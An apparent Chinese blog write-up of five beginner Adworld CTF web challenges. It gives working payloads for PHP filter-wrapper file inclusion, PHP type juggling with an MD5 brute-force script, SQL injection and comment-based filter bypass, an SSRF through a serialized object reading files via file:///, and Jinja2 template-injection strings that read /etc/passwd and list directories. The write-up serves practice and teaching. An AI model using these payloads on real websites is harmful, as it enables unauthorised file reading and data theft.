攻防世界web新手区刷题

1.file_include

打开题目看源码,发现是文件包含漏洞,include()包含./check.php文件;传一个参数filename,这里一开始想到用伪协议读取./check.php的内容

?filename=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=./check.php

然后回显不能,说明又过滤,然后接着试了一下其它伪协议,发现也不能,也是回显do not hack, 应该是存在字符过滤,试试另一种iconv转换字符编码的函数 ,convert.iconv.*过滤器,该过滤器相当于用来iconv()函数,是用来转换文件的编码方式的,详细可看这篇文章php - 如何通过 php 中的 iconv 库获取支持的编码列表? - IT工具网,这里有它可以转换成的字符集

?filename=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=./check.php

发现还是有过滤,然后将read拿走,成功看到./check.php的内容,里面的把bash那些字符都过滤了,最后查看flag.php

2.easyphp

打开题目,先代码审计,这种长代码要分开审计比较好理解

首先,第一个if,先判断a是否为空,intval函数就是将我们输入的字符串类型转化成整数 ,然后它的值要大于6000000,我们这里用科学计数法来传a,如1e5=100000,则1e8>6000000,并且1e8的长度的等于3满足第一个if判断,a=1e8;第二个if是判断b是否为空,且b的md5加密后的值从最后一位字符数6位的值位8b184b才满足,直接脚本爆破,爆出b= 53724 满足

import hashlib
def get_md5(password):
    #1- 实例化加密对象
    md5 = hashlib.md5()
    #2- 进行加密操作
    md5.update(password.encode('utf-8'))
    #3- 返回加密后的结果
    return md5.hexdigest()
for i in range(1,100000):
    md51=get_md5(str(i))
    if md51[-6:]=='8b184b':
        print(i)

接下来审计这段,传进来的c 需要json格式 ,看if判断的条件,c非空 且 不是数值类型(前面有个感叹号) 且 c的m键值要大于2022,再看后面,c的m键值后面还要做比较,因此不能直接简单构造一个is_numreric为false的字符串。例如,'123a'和一个整数作比较时,它会转换成123;'a123'和整数作比较时,由于第一个位置是a,非整数,php则规定其值为0,即变成了0和123比较(关于这个部分可以参考 php中字符串和整数比较 相关知识)。于是可以构造出一个c:{"m":"12345ab"},c还有个n键,其值是一个array类型,大小为2,并且第一个元素是一个数组类型。即类似于:[[*,*...],*]。

后面语句查找n键中是否有字符串'DGGJ',如果找到指定的键值,则返回对应的键名,否则返回 FALSE。看到这里,?:运算符找不到的情况下直接die(退出),因此这里应该让它找到,故n键第二个值为'DGGJ'。

但是,后面foreach遍历时候有'DGGJ'反而直接die,看到这里,发现这两个是矛盾的。回到array_search函数,查找是否有,那不就是比较吗!而且前文说到将一个字符串和一整数比较时会将字符串向整数转化,这个'DGGJ'一点整数的影子都找不到,因此只能判断为0。由此可知,第一种思路直接在c的第二个位置填上字符串'DGGJ'比较成功,第二种思路填一个数字0比较成功。第一种思路前面已经pass,因此选择第二种思路。

最后根据json编码格式对c进行编码即可

?a=1e8&b=53724&c={"m":"12345ab","n":[[0,1,2],0]}

参考链接:攻防世界web新手区easyphp题解writeup_weixin_46906325的博客-CSDN博客

3.inget

叫我们输入一个id,且尝试绕过,看到id就想到可能是sql注入,然后尝试一下万能钥匙 ,

尝试要不要符号闭合,然后传进去id=1' or 1=1 --+flag就出了,这道题也可以用sqlmap跑

4.fakebook

打开题目是这样,然后我们先去创建一个账号来登录点击username

点击username,进入了新的页面,测试了一下这里有sql注入, ?no=1 and 1=1#正常回显, ?no=1 and 1=2#错误回显,所以存在注入点

?no=1 order by 5# 到这里就报错,说明字段数为4

利用联合注入 ?no=1 union select 1,2,3,4 # 发现回显失败,这地方有过滤,那就得绕过

这边试过了好几个方式,发现/**/可以绕过,/**/是注释的意思,发现可以回显,在2的地方

那就看一下数据库名字,

?no=-1/**/ union/**/ select 1,database(),3,4 #,为 fakebook

接着爆表,?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

再接着表列,

?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

最后爆字段,

?no=-1/**/union/**/select 1,group_concat(data),3,4 from users#

发现有

 O:8:"UserInfo":3:{s:4:"name";s:2:"11";s:3:"age";i:11;s:4:"blog";s:14:"www.by1265.com";} 

序列化的字符串,看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php 。

用工具扫除了一个 (robots.txt下载到的源代码)

<?php
 
 
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
 
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
 
    function get($url)
    {
        $ch = curl_init();   #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。 
 
        curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  # CURLOPT_RETURNTRANSFER 	将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 
        $output = curl_exec($ch);  #执行一个cURL会话
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码 
        if($httpCode == 404) {  
            return 404;
        }
        curl_close($ch);// 关闭cURL资源,并且释放系统资源
 
        return $output;
    }
 
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
 
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
 
}

代码审计中:curl 可以使用伪协议file:///文件路径。

结合以上四点我们可以知道,flag可能在/var/www/html/flag.php且传入的参数被序列化了且传入的变量有$name、$age、$blog,且我们需要用到伪协议file:///。最终们要构建的payload,满足这些条件的代码如下:

<?php   
class UserInfo
{
    public $name = "123";  #任意
    public $age = 123;      #任意
    public $blog = "file:///var/www/html/flag.php";
}
$b=new UserInfo();
echo(serialize($b)); 
?>

最后一步构建的paylod为

?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'# 

(传入的序列化参数需要加上 '')

查看源代码发现base64加密的字符串,点进去发现

5. Web_python_template_injection

打开题目,显示是python模板注入,本题超出了所学范围了,然后看来网上的大佬解析做的

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

判断有无模板注入,发现1+1=2回显出来了,传入参数config,得到回显

下面介绍几个常用的魔术方法

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

寻找可用引用

{{''.__class__.__mro__[2].__subclasses__()}}

可以看到第40个(从0开始)

有一个type file类型(可以进行文件读取)

可以看到第71个(从0开始)

有一个 <class ‘site._Printer’>类型(可以进行命令执行)

文件读取

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

命令执行

//Windows操作系统

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

,可以看到flag文件

读取flag,

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

参考文献:python模板注入(多种方法,CTF可直接使用)_cosmos_web的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值